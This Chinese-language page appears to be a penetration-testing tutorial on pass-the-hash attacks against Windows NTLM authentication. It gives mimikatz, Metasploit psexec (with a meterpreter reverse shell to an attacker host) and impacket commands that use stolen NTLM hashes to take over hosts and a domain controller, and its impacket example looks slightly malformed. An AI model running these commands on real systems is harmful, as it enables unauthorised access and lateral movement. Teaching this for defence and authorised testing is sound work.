Skip to main content

哈希传递攻击(PTH)


0x01 关于PTH(Pass The Hash )

  • 针对NTLM协议的攻击技术
  • NTLM第三步身份证认证生成Response时,客户端直接使用NTLM哈希值进行计算,用户明文密码不参与
  • 当测试人员获取有效的用户名和密码哈希值后,就能直使用该信息对远程主机进行身份认证
  • 在域环境中哈希传递往往开业批量获取内网主机权限

0x02 NTLM 协议

NTLM协议是以NTLM hash作为原料基础,进行加密验证的过程。它是基于挑战(Chalenge)/响应(Response)的认证模式,这个协议只支持windows,并且在域和工作组中都能够运行。

2.1 NTLM 认证细节

协商(type1)

client协商server使用的NTLM版本是多少,使用的加密算法是哪种等

挑战(type2)

  • server在收到client发来的用户名后,会在本地的sam文件中找到对应的client的NTLM hash。
  • 生成一个challenge并使用NTLM hash加密这个challenge,生成的值为Net-NTLM hash。
  • 将challenge值发送给client。
  • client在收到这个值后可以使用该用户的hash值加密challenge(该用户的密码知道可以算出其哈希),生成自己的Net-NTLM hash并将该值作为response发送给server

验证(type3)

server收到client发来的response后与自己生成的Net-NTLM hash比较,若一致则通过。

2.2 NTLM 认证缺陷

基于挑战/响应消息交互模式的认证过程看着确实不怎么到位。 如果我们收集到某台计算机管理员用户的NTLM哈希,我只要充当一个客户端,给服务端发送一个管理员用户名,将challenge与我们有的NTLM哈希进行混合即可通过认证。

image-20241008095041337

2.3 哈希攻击/传递的本质

所有的哈希攻击/传递本质是模拟正常的身份认证,即通过NTLM哈希进行用户验证,获得对应用户权限。如果域外能够访问135,139,445端口机器,通过账号和密码/账号和哈希也可以生成凭证,可以对域内主机实现攻击。

2.4 哈希攻击/传递方式

使用账号和哈希,通过不同种连接方式获得目标主机的权限,比如:WMIC(135)、DCOM(135)、psexec(139/445)、IPC(139/445)。

0x03 哈希传递攻击PTH

3.1 利用 MImikatz 哈希传递攻击

3.1.1 工作组环境

当我们获得了一台主机的NTLM哈希值,我们可以使用mimikatz对其进行哈希传递攻击。执行完命令后,会弹出cmd窗口。

#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth /user:administrator /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9
#使用xie用户的NTLM哈希值进行攻击
sekurlsa::pth /user:xie /domain:192.168.10.15 /ntlm:329153f560eb329c0e1deea55e88a1e9

在弹出的cmd窗口,我们直接可以连接该主机,并且查看该主机下的文件夹。

image-20241008103052503

或者可以直接将该主机的C盘映射到本地的K盘。

image-20241008103157376

注:只能在 mimikatz 弹出的 cmd 窗口才可以执行这些操作,注入成功后,可以使用psexec、wmic、wmiexec等实现远程执行命令。

3.2 域环境

在域环境中,当我们获得了域内用户的NTLM哈希值,我们可以使用域内的一台主机用mimikatz对域控进行哈希传递攻击。执行完命令后,会弹出cmd窗口。前提是我们必须拥有域内任意一台主机的本地 administrator 权限和获得了域用户的NTLM哈希值

域:xie.com 域控:WIN2008.xie.com

#使用域管理员administrator的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:administrator /domain:"xie.com" /ntlm:dbd621b8ed24eb627d32514476fac6c5 
#使用域用户xie的NTLM哈希值对域控进行哈希传递攻击
sekurlsa::pth /user:xie /domain:"xie.com" /ntlm:329153f560eb329c0e1deea55e88a1e9   

image-20241008103424481

image-20241008103442087

3.2 利用 MSF进行哈希传递

有些时候,当我们获取到了某台主机的Administrator用户的LM-Hash和 NTLM-Hash ,并且该主机的445端口打开着。我们则可以利用 exploit/windows/smb/psexec 漏洞用MSF进行远程登录(哈希传递攻击)。(只能是administrator用户的LM-hash和NTLM-hash),这个利用跟工作组环境或者域环境无关。

msf > use  exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.10.27
msf exploit(psexec) > set rhost 192.168.10.14
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6   #这里LM和NTLM我们已经获取到了
msf exploit(psexec) > exploit 

image-20241008103606791

3.3 利用 imapcket 哈希传递攻击

impacket 是一个开源的网络安全工具,它包含了多种网络协议的 Python 实现和相关工具。其中包含了很多常用的网络协议攻击工具,如 SMB、WMI、RPC、LDAP 等

项目地址 :https://github.com/SecureAuthCorp/impacketopen in new window

kali 内部默认集成impacket工具,用法

impacket-psexec -hashes 329153f560eb329c0e1deea55e88a1e9:A86D277D2BCD8C8184B01AC21B6985F6 -u administrator -dc-ip 192.168.10.15 192.168.10.14

impacket-wmiexec -hashes 329153f560eb329c0e1deea55e88a1e9:A86D.....

impacket-xxxxx